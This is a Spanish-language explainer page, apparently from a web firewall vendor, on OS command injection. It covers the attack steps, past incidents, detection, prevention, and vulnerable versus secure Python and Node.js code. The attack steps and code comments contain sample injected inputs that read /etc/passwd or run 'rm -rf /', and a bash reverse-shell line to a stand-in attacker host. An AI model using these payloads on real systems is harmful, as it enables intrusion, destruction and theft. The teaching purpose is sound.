Skip to main content
CriticalProtected by PowerWAF

Ataque de Inyección de Comandos

CategoríaInyecciónOWASPA03:2021 – InyecciónPrimera aparición1999Tiempo de lectura8 minVerificado2026-03-10
DEFINICIÓN

La inyección de comandos es una vulnerabilidad donde una aplicación ejecuta comandos arbitrarios del sistema en el sistema operativo del host al incorporar entrada no confiable del usuario en un comando de shell del sistema. Los atacantes proporcionan entrada maliciosa que contiene metacaracteres de shell (ej., ; | & $ `) para encadenar comandos adicionales, lo que puede llevar al compromiso total del servidor, exfiltración de datos o movimiento lateral a través de la red.

Cómo Funciona Ataque de Inyección de Comandos

La inyección de comandos ocurre cuando los desarrolladores usan funciones que pasan la entrada del usuario directamente a comandos de shell (exec(), system(), subprocess, etc.) sin la validación o escape adecuados. El shell del sistema operativo interpreta los metacaracteres como separadores de comandos, permitiendo a los atacantes agregar comandos maliciosos. A diferencia de la inyección SQL, que apunta a consultas de bases de datos, la inyección de comandos ejecuta comandos con los privilegios del proceso de la aplicación vulnerable.

1

Identificar endpoints vulnerables

Buscar funcionalidades que llamen a comandos del sistema: operaciones de archivos (cargas, descargas), herramientas de red (ping, traceroute, nslookup), conversiones de formato (generación de PDF, procesamiento de imágenes) o tareas administrativas. Los indicadores comunes incluyen campos de formulario, parámetros de URL o cargas de archivos que interactúan con utilidades del sistema en el backend.

2

Analizar la construcción del comando

Comprender cómo la entrada del usuario se incorpora en los comandos del sistema. Patrones como system('ping ' + user_input), exec('convert ' + filename), o subprocess.call(['ls', user_dir]) son sospechosos. Verificar si la entrada se valida, se escapa o se pasa como argumentos separados en lugar de concatenarse.

3

Elaborar payloads de explotación

Probar con metacaracteres de shell apropiados para el sistema operativo: ; (separador de comandos), && (AND lógico), || (OR lógico), | (pipe), ` (sustitución de comandos), $() (sustitución de comandos), $( ) (subshell), < > (redirección), & (segundo plano). Por ejemplo: file.txt; cat /etc/passwd o 127.0.0.1; whoami

4

Ejecutar y escalar

Si la inyección de comandos tiene éxito, enumerar el sistema: listar archivos (ls, dir), verificar privilegios (whoami, id), leer archivos sensibles (/etc/passwd, C:\Windows\system32\config), establecer reverse shells (bash -i >& /dev/tcp/attacker.com/4444 0>&1), o pivotar a otros sistemas usando herramientas de red (nc, nmap, curl).

Ejemplos Reales

2014

Vulnerabilidad Shellshock de 2014

Shellshock (CVE-2014-6271) fue una vulnerabilidad crítica de inyección de comandos en Bash. Los atacantes ejecutaban comandos arbitrarios estableciendo variables de entorno con definiciones de funciones maliciosas. Millones de sistemas basados en Unix fueron afectados, incluyendo servidores web, routers y dispositivos IoT. Los atacantes la usaron para botnets de DDoS y exfiltración de datos.

2019

Inyección de comandos en Docker de 2019

Una vulnerabilidad en la API de Docker permitió a los atacantes ejecutar comandos arbitrarios en los sistemas host. El endpoint de la API para la creación de contenedores no validaba la entrada correctamente, permitiendo la inyección de comandos a través del parámetro Cmd. Los atacantes con acceso a la creación de contenedores podían escapar al sistema operativo host y comprometer todo el host de Docker.

2021

Ataque a la cadena de suministro de SolarWinds de 2021

Aunque fue principalmente un ataque a la cadena de suministro, las actualizaciones comprometidas de SolarWinds Orion incluían capacidades de inyección de comandos. Los atacantes ejecutaron comandos en servidores de SolarWinds para pivotar hacia las redes de los clientes. El incidente demostró cómo la inyección de comandos en software de confianza puede facilitar intrusiones generalizadas.

Impacto y Evaluación de Riesgo

La inyección de comandos permite el compromiso total del sistema, robo de datos, despliegue de malware y movimiento lateral a otros sistemas. Los atacantes pueden leer/escribir cualquier archivo accesible para el proceso de la aplicación, robar credenciales de bases de datos de archivos de configuración, instalar backdoors, lanzar ataques contra redes internas, o usar el servidor comprometido como nodo de botnet. En entornos multi-tenant, un inquilino puede comprometer a otros. El impacto incluye brechas de datos, interrupción del servicio, multas regulatorias y pérdida total de confianza. La inyección de comandos frecuentemente conduce al control completo de la infraestructura de alojamiento.

Cómo Detectar Ataque de Inyección de Comandos

Monitorear patrones sospechosos de ejecución de comandos: metacaracteres de shell en parámetros (;, |, &, $, `), funciones de comandos del sistema con entrada del usuario, operaciones de archivos inesperadas, conexiones de reverse shell o intentos de escalación de privilegios. Registrar todas las ejecuciones de comandos del sistema con argumentos completos e información del proceso. Usar pruebas de seguridad de aplicaciones (SAST/DAST) para identificar patrones de código vulnerables. Desplegar protección de aplicaciones en tiempo de ejecución (RASP) para detectar llamadas al sistema anómalas. Monitorear conexiones de red anómalas desde el servidor de la aplicación (shells salientes, exfiltración de datos).

Cómo Prevenir Ataque de Inyección de Comandos

Nunca ejecutar comandos de shell con entrada del usuario. Si es inevitable, usar APIs parametrizadas (subprocess de Python con argumentos en lista, ProcessBuilder de Java con argumentos separados, child_process.execFile de Node.js) en lugar de concatenación de cadenas. Validar la entrada con listas blancas estrictas (solo alfanuméricos, sin caracteres especiales). Escapar correctamente los metacaracteres de shell usando funciones de escape específicas del lenguaje. Implementar principios de mínimo privilegio: ejecutar los procesos de la aplicación con permisos mínimos, entornos chroot/sandbox. Usar bibliotecas de validación de entrada que rechacen metacaracteres de shell. Desactivar utilidades del sistema innecesarias. Usar APIs seguras (bibliotecas) en lugar de comandos del sistema cuando sea posible. Revisiones de código regulares enfocadas en patrones de ejecución de comandos del sistema.

Ejemplos de Código

Vulnerable: Direct Command Execution
import subprocess

# VULNERABLE: User input concatenated into command
def ping_host(ip_address):
# Attacker can input: 8.8.8.8; cat /etc/passwd
result = subprocess.run(
f'ping -c 4 {ip_address}',
shell=True, # shell=True enables metacharacter interpretation
capture_output=True,
text=True
)
return result.stdout
Secure: Parameterized Command Execution
import subprocess
import re

def validate_ip(ip):
"""Validate IP address with strict pattern"""
pattern = r'^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$'
return re.match(pattern, ip) is not None

def ping_host(ip_address):
# SECURE: Input validation + parameterized execution
if not validate_ip(ip_address):
raise ValueError('Invalid IP address format')

# Use list argument (no shell=True) - input can't inject commands
result = subprocess.run(
['ping', '-c', '4', ip_address],
capture_output=True,
text=True,
# No shell=True - each argument is separate
)
return result.stdout
Secure: Alternative Approaches (Node.js)
const { exec } = require('child_process');

// VULNERABLE: Don't do this
function pingVulnerable(ip) {
exec(`ping -c 4 ${ip}`, (error, stdout, stderr) => {
// Attacker can inject: ; rm -rf /
console.log(stdout);
});
}

// SECURE: Option 1 - Use a library instead of shell commands
const ping = require('ping');

async function pingSecure(ip) {
const res = await ping.promise.probe(ip, {
timeout: 2,
extra: ['-c', '4']
});
return res.output;
}

// SECURE: Option 2 - Strict validation + parameterized
const { spawn } = require('child_process');

function validateIP(ip) {
// IPv4 regex pattern
const pattern = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
return pattern.test(ip);
}

function pingParameterized(ip) {
if (!validateIP(ip)) {
throw new Error('Invalid IP address');
}

// spawn() with array - no shell interpretation
return spawn('ping', ['-c', '4', ip]);
}

PowerWAF bloquea automáticamente Ataque de Inyección de Comandos antes de que llegue a tu servidor.

Implementa en minutos. Sin cambios de código. Plan gratuito disponible.

Los cupos del plan gratuito son limitados

Preguntas Frecuentes

La inyección de comandos ejecuta comandos del sistema operativo (bash, cmd, PowerShell) con los privilegios de la aplicación. La inyección de código inyecta y ejecuta código en el lenguaje de la aplicación (PHP eval(), Python exec()). La inyección de comandos apunta al shell del sistema operativo, mientras que la inyección de código apunta al entorno de ejecución de la aplicación. Ambas son críticas pero operan en capas diferentes.
La validación de entrada ayuda pero no es suficiente por sí sola. Los atacantes pueden evadir la validación usando trucos de codificación (codificación URL, variantes Unicode) o metacaracteres alternativos. La prevención adecuada requiere combinar validación de entrada (listas blancas), APIs parametrizadas, escape, mínimos privilegios y defensa en profundidad. Nunca confíe únicamente en la validación para operaciones críticas de seguridad.
El escape puede ayudar pero es propenso a errores y dependiente de la plataforma. Diferentes shells (Bash, sh, cmd.exe) tienen diferentes reglas de escape. Los caracteres especiales omitidos o un escape incorrecto aún pueden permitir la explotación. Las APIs parametrizadas son más confiables ya que separan la entrada de la estructura del comando. Use el escape solo cuando sea absolutamente necesario y con funciones de escape bien probadas y específicas del lenguaje.